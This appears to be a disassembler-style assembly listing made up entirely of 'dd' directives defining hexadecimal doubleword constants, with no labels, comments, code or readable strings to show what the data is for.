		dd 8EEEC594h, 87A0DA40h, 2492181Ah, 2FA406B1h, 0CCBA0389h
		dd 0D4B10C07h, 0CEAEF1A0h, 73427F9h, 6912DD82h,	0C63F2CD0h
		dd 0D04B0081h, 71D472BAh, 813A4BBh, 180C7EB1h, 0AE5934h
		dd 0E5392426h, 2C724F74h, 220C7158h, 0F8030035h, 0A9041A50h
		dd 84003A30h, 0A5FFB9F3h, 307B78A7h, 38899A91h,	0D4009989h
		dd 0BD276383h, 0B1D23E02h, 188000D8h, 10C84A88h, 0BB9C60FBh
		dd 0FBF77920h, 83AE4710h, 0D2870500h, 0FEC74D88h, 0D601019Eh
		dd 0E69034CAh, 7CD9D037h, 2E009F90h, 47FDC40Ch,	93EE36h
		dd 18ADD2E1h, 23DB5217h, 5422D91Ch, 65557540h, 3E30C44Ah
		dd 0FCA418FFh, 0A8A50084h, 50DD0AB4h, 47F1BD00h, 0D5FD263Ah
		dd 85BA3E72h, 9A381688h, 0E4039797h, 9C218CAh, 0F2C0B5F1h
		dd 754680A0h, 0E01D3E34h, 48265E43h, 0A400BE17h, 7116FF4Dh
		dd 85BC000Eh, 22661BDBh, 75004FE4h, 0FD435A24h,	1A676h
		dd 0F85496C6h, 0E583A80Dh, 0ECA3441Ch, 1A361B00h, 5B39823h
		dd 0A874E47Fh, 97E02066h, 6000DE47h, 0BC739DE3h, 30B749Fh
		dd 58C86309h, 0A8F81DF6h, 2605D7B3h, 2B516235h,	2E2DE082h
		dd 31B2202h, 472050C0h,	9A0A3F00h, 26A261E2h, 48410029h
		dd 0BB1CC774h, 271F2CDh, 0F12CEA00h, 7EA87B1Fh,	0CCBF0047h
		dd 0ECE3BCACh, 0C02A0982h, 0E8008CF5h, 0C373524Ch, 11129A1h
		dd 6DF04DBDh, 0E82644B0h, 67021884h, 0B3DD7231h, 2904610Bh
		dd 2432DC60h, 950C0754h, 640A5830h, 793B0FDh, 40577417h
		dd 0DBFE8241h, 0AC07709h, 65CC23F9h, 20D28945h,	0B0E8B825h
		dd 785E4CC1h, 4FFEA000h, 2C3A52B5h, 0E131E00h, 848FFF5h
		dd 7C400A7h, 2FD4753Dh,	0C0E8665Ch, 18D1CA60h, 411BFh
		dd 86E1D96Bh, 0F884BD38h, 0C8FB301h, 0BF9A49A0h, 0A95034h
		dd 2F873A41h, 0D66AF078h, 92024578h, 52365B3Dh,	556CE8A8h
		dd 2616881Ch, 46883374h, 0BB438828h, 26D319C6h,	5E1F1F21h
		dd 99768002h, 0F83DDC3Ah, 2051D608h, 0C8B01ACAh, 15CED861h
		dd 80F05808h, 12F51192h, 8D009509h, 61E6DF4Ch, 51A68EEDh
		dd 44009C8Ah, 1E45689h,	85587B2Dh, 0DC5E29D6h, 7A0031C0h
		dd 0C90F49A7h, 0B62A24Bh, 106BBA5Ch, 88193C8Bh,	492C6020h
		dd 0A1A34240h, 4B101DECh, 48000C61h, 20AF3C22h,	7E90B45h
		dd 0A2CB3EDFh, 55800FA6h, 190550D1h, 330C9350h,	74DFB81Fh
		dd 47D43A14h, 0FA700070h, 0F1D7867Eh, 63F2004Dh, 5EC26E34h
		dd 0FC3A3D61h, 0C3A8811Dh, 2BC903E2h, 0CF800438h, 1994885Ah
		dd 5334F70Fh, 20A835E0h, 89C7E864h, 80C0742Dh, 7E89F5Ch
		dd 0FC26E6AEh, 1619479Eh, 1062D7F0h, 0C39A7AC6h, 576E3899h
		dd 69A0A6E8h, 3519670Eh, 0E842638Eh, 4FC7C0D1h,	0F0CE13BCh
		dd 227400C1h, 0D2411558h, 700F891h, 9F19924Ch, 0EA331A57h
		dd 9099087Ah, 0B0B02E9Bh, 0CF7242h, 0F351CC81h,	1B45E0D4h
		dd 293C2630h, 144A0E03h, 0BCEE963Bh, 9D20B102h,	30C3A767h
		dd 0C0AC36E5h, 4BF1C944h, 11E053A7h, 0A100E49Dh, 7DE0DDE5h
		dd 9900A9B7h, 500268ABh, 0A0733CBEh, 45364824h,	583833A7h
		dd 5DC4361h, 0DB8E3A68h, 825B8DC0h, 1E9900EBh, 95538CA8h
		dd 45507F1Bh, 75CE560h,	8F59C08Ch, 39EB7258h, 3580E8F6h
		dd 0F94D674Fh, 0A13AB1D6h, 0C8C803h, 286906Fh, 989AAF04h
		dd 0D0A74C25h, 1989B85Ch, 4FF37881h, 0C0C4E2C8h, 9488AE2Ch
		dd 0A571350Fh, 7C88B1F0h, 0ADA803B5h, 0E53430E0h, 0F44079E2h
		dd 96B8E894h, 3B47F900h, 0BADD98A5h, 31837812h,	3A11A3E3h
		dd 0C514417Ch, 38B449ABh, 6FE08020h, 0E0739938h, 79851C17h
		dd 95F4334h, 0AEE0F0C8h, 44FE247Ch, 0F4C07119h,	0CCEC2141h
		dd 13F10217h, 1140D945h, 502323E8h, 91C76C26h, 93A0700h
		dd 0B404B426h, 942A05BCh, 876C8CA4h, 97EE0F2Ch,	9A0CBB01h
		dd 50C69961h, 199E4498h, 0FC92703h, 4C64F6C0h, 57014C39h
		dd 3E8A8EBh, 9941E4ECh,	0B73E772Eh, 0D434E403h,	0C1D1F86Fh
		dd 20DE3008h, 77CB0F18h, 0D59DF500h, 7538C7FCh,	3B4BE099h
		dd 7B0B743Ah, 94065C31h, 600069B9h, 60AFAD1h, 76E358F9h
		dd 8080FFA1h, 0ADFDD522h, 14493002h, 4DF90054h,	0CD509F1Ch
		dd 0BEDE00E1h, 9CBFB99Ah, 0F20089E3h, 0B64A2576h, 0BB1726h
		dd 3A29F3F8h, 0EFEB1878h, 1F277438h, 0DD80640Ch, 7A34B868h
		dd 78D05891h, 3F84F1C0h, 0C53C1620h, 6C519EA7h,	0EFA587BEh
		dd 8310ACA8h, 1EDB5BAh,	0F05A23D8h, 9326B0B4h, 0D8D02FB0h
		dd 5D350Eh, 8D3C5C1Dh, 4FEEA0D4h, 74DB5005h, 1482B520h
		dd 5C442929h, 0E4895101h, 6DB94E6Ah, 47F55F0h, 0EEC603E5h
		dd 21FCA666h, 51438075h, 4C713FA8h, 0D3917619h,	0C9F05451h
		dd 1731788Ch, 63FF5017h, 2996903Ch, 0D2038600h,	0ACBF1224h
		dd 0B4770B9Eh, 85F7A6F2h, 84810204h, 0F0287A74h, 0C2291A80h
		dd 803E752Ah, 0E23D023Ah, 44BD8632h, 0E3AF0E60h, 0E7004207h
		dd 2D881D4h, 0DEA2A800h, 0C77C502Fh, 9D9300B0h,	0A5C5FD14h
		dd 509C23F3h, 0A5129E0h, 63E461h, 0BD47A45Ah, 28DF4BABh
		dd 4CDA3B00h, 4FA7C1D8h, 990401D9h, 18F0492Fh, 3441A8C5h
		dd 30D311F1h, 0D275F980h, 0A4213CB3h, 2AAA83Fh,	1899A003h
		dd 10DC5194h, 90BCC8D1h, 0B91915C4h, 11F42130h,	0A2580234h
		dd 60AA8108h, 0B04E11ACh, 0A6AC0F9Ch, 40027943h, 7880C0D3h
		dd 96F71D64h, 73AF6F01h, 5FE09538h, 0CF445F60h,	0E8CF138h
		dd 30592D71h, 0A04D239Ch, 0E98000D0h, 6CFBA812h, 28C8A048h
		dd 0B7C3E349h, 366F7900h, 0ACE55725h, 24800A8h,	1CE39633h
		dd 0EC31040Bh, 937329A5h, 90AE28E4h, 1A2F1C04h,	0AF55C921h
		dd 0A0A1D009h, 45890h, 315978A8h, 4D814532h, 6C8D043Ch
		dd 0F8338D4h, 8081DA1Bh, 81243625h, 2CAF0ECCh, 0DD8862E0h
		dd 0FAEC6BA4h, 0C6902340h, 71EAC900h, 3AE712A0h, 4BD90188h
		dd 29147810h, 2CE5F2BCh
		dd 0BDA7C684h, 80A6A045h, 32B10A90h, 917CA525h,	450292A4h
		dd 62D210C1h, 0EBD6014Ch, 13F34474h, 5D04C8FFh,	146103E3h
		dd 0A8F5D284h, 0CCE400CFh, 0DC0E1806h, 2F20785Bh, 0E61918DBh
		dd 0AD533131h, 80E8F411h, 0F20FAF19h, 1CD7A58h,	51A3875Fh
		dd 0E484823Ah, 32186A65h, 0A6A66863h, 6DA03FBh,	0FA875031h
		dd 4BF04003h, 0F739F79Eh, 0C07B44D3h, 704518h, 903E0958h
		dd 5BF6F407h, 6544CA54h, 305EF20h, 48F01FDDh, 2150F5F8h
		dd 0C500FE0Bh, 52A51BE5h, 9DF4D5h, 3A5DD689h, 16BE84CEh
		dd 6004A900h, 363D0745h, 0D981F1FFh, 6793A498h,	385EEC09h
		dd 0AF525500h, 751B24B5h, 6E8A3932h, 1C5A490Ah,	85641D24h
		dd 205C76Fh, 6DDAA50h, 0A1038122h, 8FCFADACh, 3C8D86C4h
		dd 0E7B7F2BCh, 0BEFF0318h, 298C3100h, 590BCE9Bh, 0C91E00B8h
		dd 583B6299h, 0FA00B03Ah, 0CF63105Dh, 0FDB8443h, 1C04D057h
		dd 0EAA9CD01h, 4872D322h, 6CF1BA00h, 0FB61D8F3h, 75B3A093h
		dd 0DB3E3D38h, 99598401h, 50EEA131h, 0D64CC4A4h, 0FA3B0114h
		dd 0C7DE00C4h, 0D80F93F4h, 0DC8D3BAFh, 0DDD23C03h, 0D1400B4Dh
		dd 0B70742A0h, 0D804FD83h, 9144DF40h, 6EFAA4h, 35479B57h
		dd 6FD52BD0h, 83088F50h, 0DC14D750h, 28068129h,	34620707h
		dd 6924F540h, 2A057C1Bh, 90C3FFh, 7907F036h, 248EE82Dh
		dd 0EBA660Eh, 1978A0EDh, 0FEF56A4Eh, 92C9E630h,	44803C08h
		dd 0F4039080h, 0B0ADD960h, 8B4D4607h, 4BC12D08h, 3670E8BEh
		dd 0D5FF3006h, 188E4C69h, 0C44DE90Eh, 0E8CCCA54h, 20078242h
		dd 0D9904760h, 0F6A7530Ch, 9771CDh, 0B62B8E22h,	27F37AC9h
		dd 41E5DB30h, 24ADFE7h,	0A2C3A102h, 0B0449283h,	0C889C703h
		dd 7FF6FF6h, 4660E649h,	0A11ACF8h, 75BA1000h, 4EE763A9h
		dd 2D1A00E5h, 466BB4DDh, 2601B6Ah, 91BA0399h, 0F98431F7h
		dd 9CC0FF79h, 0A4804369h, 9CD0881Ch, 2D040276h,	0CCF6614Ah
		dd 0A1F02820h, 91120062h, 7D1E677Eh, 4A06516Fh,	0CEF66507h
		dd 73921F29h, 8A5406D2h, 0ECA1A6A9h, 6C6980D6h,	0DD915D33h
		dd 1C4AE070h, 29C38990h, 762A00E4h, 951D1634h, 98B08601h
		dd 8A9A5548h, 1C1B70h, 0E401285Ch, 667250CDh, 0EE1EA34Bh
		dd 0D2AD9080h, 48C783B8h, 710267D1h, 356187B9h,	0A90080ABh
		dd 0EF8827CFh, 9930A400h, 3CF5FCDCh, 1FA300B8h,	4F9D0AE4h
		dd 0C500F33Fh, 0B91A88BEh, 130E173Eh, 10307C5Ch, 0C126A07Ch
		dd 571D8634h, 6130F9F2h, 0C7766931h, 0C9DA0062h, 69D564EEh
		dd 0F52E958Eh, 0FA182A28h, 12074B31h, 20C66FF0h, 0D469311Ch
		dd 85082891h, 0FE1C8602h, 210019C1h, 653C580Fh,	0BC6E3Dh
		dd 2079DD9Ch, 0F287F60Dh, 9848ECAAh, 0D1048FE0h, 90333F64h
		dd 0B6CD30C1h, 8E2C021Dh, 31141860h, 0C4216200h, 384C0B3Ah
		dd 1F1D0732h, 0B079AC10h, 0DADB0CBh, 49E7E91Fh,	0EB846029h
		dd 0E207CD1Dh, 0FE969057h, 0F11B3D9h, 3100DD01h, 7F444B26h
		dd 5D00F68Ah, 9BD2627Bh, 0FC6EB1E1h, 0A4A690h, 99E7DC6Fh
		dd 0C2A92854h, 0B7D72500h, 6CEF60D1h, 292F6061h, 0FC52AF43h
		dd 0BEA96D3Ah, 3A2180FEh, 166695Eh, 48BE007Ah, 8AA3E26Ah
		dd 5D7C2C98h, 4E91E005h, 0AE8144A7h, 0DB50E52Eh, 7F24966Eh
		dd 34570048h, 4F49702Fh, 0F100FE3Bh, 129CCE5Dh,	4C2D188h
		dd 40A88BA1h, 3148CD05h, 25A2ED50h, 2EF4137Ch, 25B119F8h
		dd 0BFD10902h, 0A0F8EBD9h, 2AC883C0h, 68AA00C4h, 0B44CE06Fh
		dd 5A00A56Eh, 44611BD3h, 528BF624h, 0F52CECFBh,	469440B0h
		dd 2F7263BAh, 0D5838B00h, 4CADA1C5h, 0C671070Ah, 7A0663Bh
		dd 6295F0D8h, 0D2263406h, 8A4024F7h, 1DB411C0h,	4058F0B5h
		dd 0D90A8533h, 0A6982F81h, 29F96Fh, 5167DB71h, 0E2FD013Eh
		dd 5BF41156h, 0E660646Ch, 0DF016671h, 0E1D1E75h, 0B5E4625Eh
		dd 0ACDE12BDh, 6F4C0913h, 74D89820h, 0E7615DA2h, 6F03758h
		dd 12423447h, 0F03CC4DCh, 0F0EB5530h, 435BBC0h,	7F0D5850h
		dd 338881Ch, 841E22Ch, 39616710h, 10F7EBE6h, 31B154h, 0B5974CC6h
		dd 0F2486ACFh, 3CD0F61Ch, 0BED3CB80h, 0C2E8B1F7h, 0D9673431h
		dd 348498B2h, 0C93C400Ah, 7E852332h, 52ED12A0h,	0A7580402h
		dd 607C804Ah, 367591Ch,	842B4B89h, 58D0C540h, 99FE70D9h
		dd 0F1774h, 14077EE3h, 0BA00D7A3h, 0ACC47011h, 3C8D313Eh
		dd 6601D818h, 3C01A2DBh, 0FAADE037h, 6F0E7099h,	0EB1918ABh
		dd 12C1C0E3h, 1ACF44DBh, 8604790h, 522FA8B9h, 2EA73E86h
		dd 21879213h, 87DCFF04h, 0C4511591h, 862F1400h,	24000A2h
		dd 1E19FA04h, 0C1F6E6AAh, 703844F0h, 0F24383C0h, 795313Dh
		dd 0AE3907A8h, 1D3F80DAh, 6233BD32h, 0F5E511ACh, 80028C48h
		dd 8FF3E686h, 0F52CC3B9h, 8A401CF7h, 69C6BBDh, 1518CD54h
		dd 0ED0160D9h, 8FB6C1F5h, 5C449E81h, 0E900BC8Fh, 0E2028BFFh
		dd 3E00C3D2h, 4A46694Dh, 82B25B19h, 85F73C81h, 634825AFh
		dd 0C9430720h, 54905602h, 713894Bh, 6BD2285Ah, 0D11E74F7h
		dd 29701D6Ch, 63E61288h, 0DC1B7401h, 0CB01309Ah, 15CF01EEh
		dd 11FC1C8h, 0ED19D44Fh, 6055A06Fh, 100DCA1h, 4EF2FE5h
		dd 0C007A567h, 5978CD50h, 6914DD06h, 80CC01A3h,	7D451641h
		dd 0C13F0061h, 680E79D0h, 203FCA6h, 66C5C419h, 0CE102E70h
		dd 124F00B4h, 5BEFE7B8h, 6D1244B8h, 9C806133h, 918FE5E6h
		dd 44F98768h, 68F1633Bh, 4678D9B8h, 0D680C805h,	0B444DB7Ch
		dd 724F75Eh, 2F0FB51Ch,	33BFBAE0h, 0A10B0B9Ah, 702C852h
		dd 29AC6190h, 0A0DE0FF1h, 84A0F928h, 24312759h,	0D174700h
		dd 4001FF44h, 5EE7A70h,	986F8C23h, 7B80CAABh, 4336B91Ch
		dd 0A831DE84h, 14CB10C8h, 0CC2A25E1h, 0B9008B3Ah, 19A0C281h
		dd 67046030h, 50C1AA1Dh, 84FAB8C7h, 108AF70Bh, 4ADE4450h
		dd 0DAC0404Ch, 6835E74Bh, 5C6D463Bh, 670502B8h,	66423962h
		dd 1FEB30F0h, 0B1BB7D41h, 0A29D5500h, 4E8638B9h, 0D874CEAh
		dd 9449C40h, 0EBAD2FC5h, 0E7E37400h, 870002C4h,	6F6893Dh
		dd 1D569FCFh, 9EA552h, 49FAA163h, 240048EDh, 0ACA483D9h
		dd 1A159439h, 0A9044DDEh, 0D7F08880h, 0F892F5EBh, 0A39E4300h
		dd 5DC50FD4h, 2754007Eh, 83124D24h, 4B0025EFh, 2C219AC6h
		dd 6442A4h, 0C8F997CBh,	0ACE698E4h, 5FDA5E07h, 61E4EC5Ch
		dd 4EB8A4h, 7E2F1BAFh, 3CA69BA1h, 314B98A0h, 0A448E889h
		dd 497DFDh, 0D7DA3313h,	7A6D2F32h, 0A21C200h, 904663CDh
		dd 0E98730F7h, 60CBCFB1h, 0D1E84F32h, 5345969h,	222B8CF6h
		dd 38E07BD0h, 0E0006BA8h, 0D852F5DAh, 0B0496368h, 149F4818h
		dd 0D7FE6008h, 59429D80h, 75FD5BA4h, 6AF7FC25h,	3FDCB183h
		dd 0D913F922h, 58800568h, 99A2AB9Fh, 0DA7B80A0h, 0F025BFE7h
		dd 5CCB8838h, 0C6E18090h, 2D097Dh, 1525D1BAh, 42179848h
		dd 0F1B67401h, 0AB3104A8h, 84DD4840h, 6081C305h, 2018B246h
		dd 6C89C550h, 212E6062h, 14FF97E7h, 3527200h, 0D9EB4837h
		dd 455D01BFh, 309DBB07h, 1FC62F8h, 914F0C69h, 0F840771Bh
		dd 0A568ADh, 853CA0F8h,	3476D815h, 80880E58h, 0F0440181h
		dd 14617247h, 78EAC242h, 63410174h, 0D7E57F57h,	0A2D8EC73h
		dd 4DA8AD48h, 3CF72834h, 4FB8CE0Fh, 88978073h, 47B57Fh
		dd 87263478h, 0AF9B6AC2h, 1CAD4526h, 13825C88h,	328C12CDh
		dd 39306FA0h, 26AC0075h, 733C8CC5h, 0CB003B8Eh,	5970300Fh
		dd 77660ABh
		dd 4EA983CFh, 2E04BFF3h, 0F6CE8058h, 0E00C7856h, 30CA88C8h
		dd 0EFF00ACh, 0B68BA3F3h, 489C6166h, 0E7324580h, 483CDC57h
		dd 0FE15B8A1h, 6500D4BFh, 11A3D727h, 3002D18h, 9DF1678Fh
		dd 104FAFBh, 51143375h,	0C04C4446h, 20F7AB6Ah, 0CF88DB3Ch
		dd 61FEACh, 72F97836h, 473B6912h, 6358CE02h, 20F4F802h
		dd 1ED23E9Dh, 98168900h, 7AF10927h, 62853BBBh, 0C0A7E102h
		dd 40E2AC02h, 70EC2C41h, 605C440h, 7966F357h, 452C817h
		dd 0B1F4E803h, 0A06381C8h, 0A758820h, 0C477F89Eh, 18690214h
		dd 1CE08905h, 663F603Ah, 0D4E91EDEh, 5EDBE080h,	0A72D969h
		dd 0C578119Eh, 0F9670A1Ch, 0C14F45D4h, 938190D4h, 897F788h
		dd 0B16A5A60h, 0DC9C0736h, 8B24FDh, 599E4BDDh, 64FF171h
		dd 0FE806027h, 0AFE03Dh, 633A58D6h, 32F01A5Bh, 401C2AEAh
		dd 82C24B8h, 0C841961Dh, 0A060C5AAh, 0CF49040Bh, 0A8F01BF4h
		dd 0E7F788ADh, 0D88A99C0h, 5AC4291Dh, 0EF4A8FDh, 55D99Bh
		dd 0BC18C592h, 0B065528Ch, 2D78DD09h, 331CD411h, 0E14B0E14h
		dd 30491E48h, 6CCC6850h, 0D7C13AF7h, 0E863D901h, 6421205Bh
		dd 0EB880C7Ch, 0A9A1004Fh, 0C7B36A86h, 0CE50AE17h, 70047FCh
		dd 0D1B92095h, 7E48C480h, 83689470h, 34B8D28Bh,	0E06D9200h
		dd 3E27ECC1h, 0F8462E5Eh, 0E8894078h, 580E8D01h, 6028104Fh
		dd 1A6D19B6h, 4D0E2463h, 24440503h, 16D88860h, 95DB1C00h
		dd 0C8E9617Ch, 0FA9128Bh, 98B08803h, 33C3F100h,	4E85D8CAh
		dd 4A90743h, 8BDE471Ch,	0D6BE0C10h, 4262C005h, 6098A046h
		dd 0EA8B335h, 0B1621C5Eh, 38E1CA62h, 0D48E1009h, 0D6F30069h
		dd 633B645Ch, 0C5000836h, 0A1B22A05h, 0F030C8h,	0F190068Dh
		dd 0CDCE3DCBh, 3A249500h, 0FF07C55Ah, 8FC4A8C2h, 83110008h
		dd 60396AFCh, 0FA00DD0Fh, 85EB95D7h, 0A0CC4E8Dh, 3AF6EFF0h
		dd 525E584h, 9147A0B0h,	6CCA2C2Ch, 85A2E500h, 116A434h
		dd 64A68F46h, 52E684F7h, 0C0982C90h, 0FB00FC0Fh, 910E2D66h
		dd 38D69294h, 0F57821h,	0B60373B3h, 4E4DB249h, 0FCA92B26h
		dd 0C7131B91h, 0B894089Ah, 9C1E598Ah, 9432618Ah, 0E801C180h
		dd 5DAD4A2h, 8A20812Dh,	0CED380BAh, 9502521Ah, 264DB1D5h
		dd 2B308441h, 0A4616C44h, 0D20026FCh, 95B28BAh,	0A08BF769h
		dd 5444768h, 0D0D3597Ch, 0A4A304h, 3E02D26Eh, 0BEA1D1h
		dd 35A7B8BDh, 605D07A6h, 0D7E1C200h, 78C4E001h,	51D2600Fh
		dd 61A2DB9Fh, 0F445A090h, 0A000472h, 82D64A25h,	4C3B18F5h
		dd 0BECE8057h, 2A330159h, 3265128Bh, 30B8D2F9h,	9854432Eh
		dd 3E8BC06Fh, 0A32F0184h, 9A9E074Ch, 80702C16h,	5F674E13h
		dd 0ADB504AEh, 0D129EBD9h, 81D4FF0Ch, 67E043D9h, 75F02EAFh
		dd 8042538Fh, 0E9E41705h, 2FC0205Fh, 0EC02D691h, 3F6E46F9h
		dd 141240C8h, 924F00C5h, 326906A2h, 84BC2E18h, 7D29C020h
		dd 0F42CF0FAh, 8AF0B714h, 0F789889Ch, 0E1204B8Ah, 1984F84Dh
		dd 401BEA5Eh, 54906676h, 59C91DFBh, 20F94126h, 843C10D0h
		dd 0F1EF4558h, 0B4420714h, 0B4002F22h, 2107E510h, 92585B2h
		dd 92E7F290h, 0FE61F40Ch, 1700C899h, 40289843h,	0E1476EDh
		dd 5E1D60D7h, 8BD10980h, 5C09AF94h, 0A1FA5652h,	0E78E8594h
		dd 3424108h, 0F5A11B04h, 0C6BC84D7h, 0F0C43079h, 70211784h
		dd 72E610FFh, 4060B630h, 0E97BDA9Ah, 94DBFC00h,	201AF244h
		dd 5B67E1Eh, 0EA1C5A48h, 244F1E5h, 0E620EBA8h, 7C7B58Ah
		dd 0D465AFD8h, 2024F92Dh, 0C33402Eh, 0EECB9Dh, 0EFD5019h
		dd 258E5A70h, 0B2013275h, 61900137h, 0A881CC99h, 805C1816h
		dd 10F4693Ch, 0F408F581h, 519FF843h, 24D78D02h,	8730683Ch
		dd 0CFE9C129h, 0CA3F85B1h, 53312C40h, 4F0C8B49h, 15375830h
		dd 33B0157h, 0AABD4768h, 17C97077h, 841F34B8h, 0FA432AE7h
		dd 2F97FE1Ch, 64AEF779h, 90ABAC80h, 2D00479Ch, 1E3DC18h
		dd 0F035BD22h, 630701A0h, 0EAC34245h, 17998F1Ch, 0BBE9C094h
		dd 10126Bh, 98A721FDh, 0BE838EBCh, 58DCA024h, 0B064822Dh
		dd 68C00DF6h, 0C2C780DCh, 2E0520Ah, 9B904660h, 0CF83E87h
		dd 4BA448A3h, 62B00755h, 29C70358h, 8901E6D8h, 6031163Eh
		dd 40F21567h, 2841DA76h, 439CDB63h, 79A03153h, 846D4ADDh
		dd 5AA81802h, 0D0801D44h, 8FD8ADE6h, 0A0BD3300h, 6050CB7Ah
		dd 88AB006Eh, 396C245h,	6C9691ADh, 32E51E40h, 1AF10907h
		dd 3C50ED5Ch, 587F718h,	1241D8A1h, 82F09284h, 4C1966E8h
		dd 322DC518h, 0E71C21BDh, 22A39EDh, 464C911Ch, 5157C141h
		dd 12FA8268h, 0A743886h, 5F85F780h, 89FC70EFh, 300FD96h
		dd 805D232h, 0ABE0ADh, 6BB826Dh, 724F872Bh, 0A4408E4Bh
		dd 0CE7AB6EFh, 0C499F7h, 0E512FB8Ah, 1C0127B8h,	97AE7992h
		dd 67D8CB6Bh, 26C47ACAh, 14302D6Eh, 95C8E80Eh, 0E989F787h
		dd 0EE61904Ah, 9F02A93Ch, 28F03C83h, 76B161F8h,	1CD48F00h
		dd 0A67D72ECh, 2F5701DAh, 0E739349Eh, 45002015h, 0B2AB3300h
		dd 3A89519Bh, 288E487Eh, 0F3911A21h, 26225120h,	0A6BFE6CAh
		dd 3BFD12BCh, 39DC0A18h, 0E46165E8h, 0CD425AD0h, 80000822h
		dd 0AAB1E59Fh, 0F4B8722h, 0F2D3B986h, 6E3031B7h, 0A9E30B7h
		dd 4D7F1000h, 23D617CDh, 738929BFh, 0E4FE45B8h,	4D006570h
		dd 6A8FB2D6h, 2BC22A5h,	0A757ABDAh, 0DCC08AF8h,	0C914785h
		dd 6C007791h, 5AA06255h, 232D50C4h, 726498DBh, 544C0012h
		dd 0BDA5F243h, 0AA00D882h, 7C367E23h, 82DBB06Eh, 8000F066h
		dd 3457E911h, 0C8C395h,	0F8CA79D4h, 66634977h, 11F2F61Ch
		dd 0F19F023Ah, 514DDE30h, 805C9084h, 6D48E980h,	0D2AE30F7h
		dd 78083261h, 4CF6F10Ch, 55F729CFh, 80424083h, 0A0FA1A4Bh
		dd 864AC709h, 12745889h, 0A2117FCCh, 67DD1050h,	0C0F4944Ch
		dd 3C208348h, 0EB114289h, 16318021h, 646715A9h,	0FDD600F1h
		dd 754DCEDEh, 0E2DF73Dh, 48978BBh, 0A45AA11Dh, 0B1BC9105h
		dd 0A4410E4h, 125C9E4Ch, 78F02933h, 0E0CE8E70h,	0EFBF7EEEh
		dd 11050962h, 4019355Ch, 88783829h, 0F4184201h,	0AD824479h
		dd 42F1BE65h, 184D16Ch,	1D738C52h, 3262CCFEh, 0F90480A4h
		dd 81DE3A11h, 3C616489h, 5D8C04Ch, 0F5E1A066h, 73C47285h
		dd 88FA9018h, 305DBE82h, 380A5F28h, 0C849A86Eh,	9DA7C10h
		dd 0CF20321Ah, 0BF459402h, 8C40C324h, 90180D74h, 0E4282924h
		dd 0D13F7102h, 790671Ah, 0BAEAEB67h, 0F33140D8h, 83735337h
		dd 28768071h, 0BC3ECE00h, 0B97790CCh, 634348C8h, 0F03C6E12h
		dd 0DCAAB818h, 6011185Ch, 7890CB25h, 5603A18Ah,	83B944F7h
		dd 0F8C1FCACh, 3608A9BDh, 0FE10418Ah, 0BE883508h, 1EF838A1h
		dd 8DE5798Fh, 16E75720h, 0E43FF0E8h, 407D850Eh,	4CD51A84h
		dd 915A980Eh, 0C9830572h, 2D634594h, 802428E0h,	99C7C89Bh
		dd 8FBA00ACh, 0FCF1F9BCh, 0B2FC8CEEh, 8BB3AD01h, 36E83253h
		dd 1AA7853h, 0BE81F051h, 62F688B8h, 0FC082ADCh,	0AC4010B4h
		dd 713D014h, 5F466DB5h,	6A0860E9h, 3102ED36h, 0B95C1BAAh
		dd 25C45A9h, 2844203h, 6552605Ah, 4BDD12F8h, 9742E8D6h
		dd 129CB822h, 0A503E446h, 50305167h, 0F73918A7h, 0A99EF9F1h
		dd 21D5C007h, 7F107C8Ah, 5831F42h, 9017152Eh, 0F0FC52Fh
		dd 8870F35Ch, 0DA6C8FB5h, 3CA80Ah, 98B8117Ah, 0AD12E08Eh
		dd 54048FB1h, 0C148CF95h, 0F356B780h, 0F172147h, 0BB02F74h
		dd 21083626h, 84A0CD26h
		dd 0A9C0AF20h, 0FFCAACEEh, 4DD07216h, 1B1040B8h, 444C886Fh
		dd 0DED34022h, 0DBC630h, 0F9A97FFFh, 94255D92h,	0E7B81702h
		dd 433F63DCh, 28A5E2FCh, 4E830038h, 7A056D73h, 3309B900h
		dd 0A67E60DAh, 11660049h, 4BD979E6h, 0E700E5B8h, 0F94546Fh
		dd 744A3CE1h, 0AE1F0066h, 0F9A00478h, 990BF12Fh, 113AE287h
		dd 0D07689A8h, 6C40DE3Eh, 0EC4F625Bh, 0E0FF4FC1h, 4083D4FDh
		dd 0FCDF7A1Ah, 0DCCB00B4h, 703AF3C7h, 970255AAh, 3963D591h
		dd 2EA09B07h, 1524C578h, 0F223CAEh, 69E8E637h, 79C57800h
		dd 407A00EDh, 7477BA9h,	0B8F42BE6h, 0C0613326h,	9120E420h
		dd 551D2DD6h, 95181C90h, 77D8C90Bh, 56C4189Ah, 0F847275Eh
		dd 48180868h, 45E7F000h, 0F3F6DF7Fh, 0FD64013Ch, 5C1063A6h
		dd 227C23C1h, 806C910Dh, 7C45DC39h, 71011F01h, 0BA8297F9h
		dd 99909B65h, 704400DBh, 0CDF79A4Ah, 60D090F4h,	4B7A41D8h
		dd 0C4B048F0h, 2AE2908Bh, 608570C2h, 49141E53h,	184019C7h
		dd 658483EFh, 81C421CEh, 7DC2AD98h, 0DE284CC8h,	0B87ADCC0h
		dd 268E5CDDh, 60B8DB29h, 0CE60301Dh, 14838F26h,	0D220A050h
		dd 0A858B090h, 8F27127Ah, 9D802062h, 773ED6B8h,	9272000Eh
		dd 0E2C29459h, 4304A961h, 0DE46FCFBh, 638C60ECh, 22E57BC1h
		dd 78DD84D8h, 701078A6h, 76227532h, 57D0A09Ah, 431C275Eh
		dd 0C8610C25h, 0F5128848h, 0A00489Eh, 0A2878632h, 44804BDCh
		dd 0EC6731A8h, 407888ACh, 6EE3523Dh, 5711D891h,	40881731h
		dd 5C820537h, 0E1885EF6h, 0F0A49E3Dh, 4F002C70h, 0FDB12272h
		dd 0B05CE2Bh, 0A6B3A124h, 6C064C66h, 955FC1E0h,	0AA7A1808h
		dd 209380D9h, 316E4484h, 1CC56628h, 83A8624Ch, 1778BA08h
		dd 446E43E6h, 4896D610h, 3A0480CDh, 2449B35Ah, 0B86DC213h
		dd 92D5BC30h, 20725EDAh, 4637BE70h, 0FF7F6304h,	0BD80E84Dh
		dd 0A926ADh, 0C2406103h, 2F9531E7h, 181CD805h, 64CCD95Ch
		dd 95B49A62h, 0F4501491h, 34007D53h, 0B571F789h, 4FE7E88h
		dd 7B821991h, 15F4E4F6h, 0C71D700h, 0E6F3966Dh,	703C98C5h
		dd 5869823Ah, 0A06000E4h, 0AD2F002Eh, 795E8FC7h, 0E70E098Dh
		dd 0E09B37C0h, 46501319h, 0C64032CFh, 947465B0h, 1B234E44h
		dd 92E5C021h, 5F8A236h,	9F95FC1Fh, 892EAC44h, 0F51D1971h
		dd 84E2D88Ah, 8058F658h, 0ABDC5A21h, 0B0860057h, 9E16986Fh
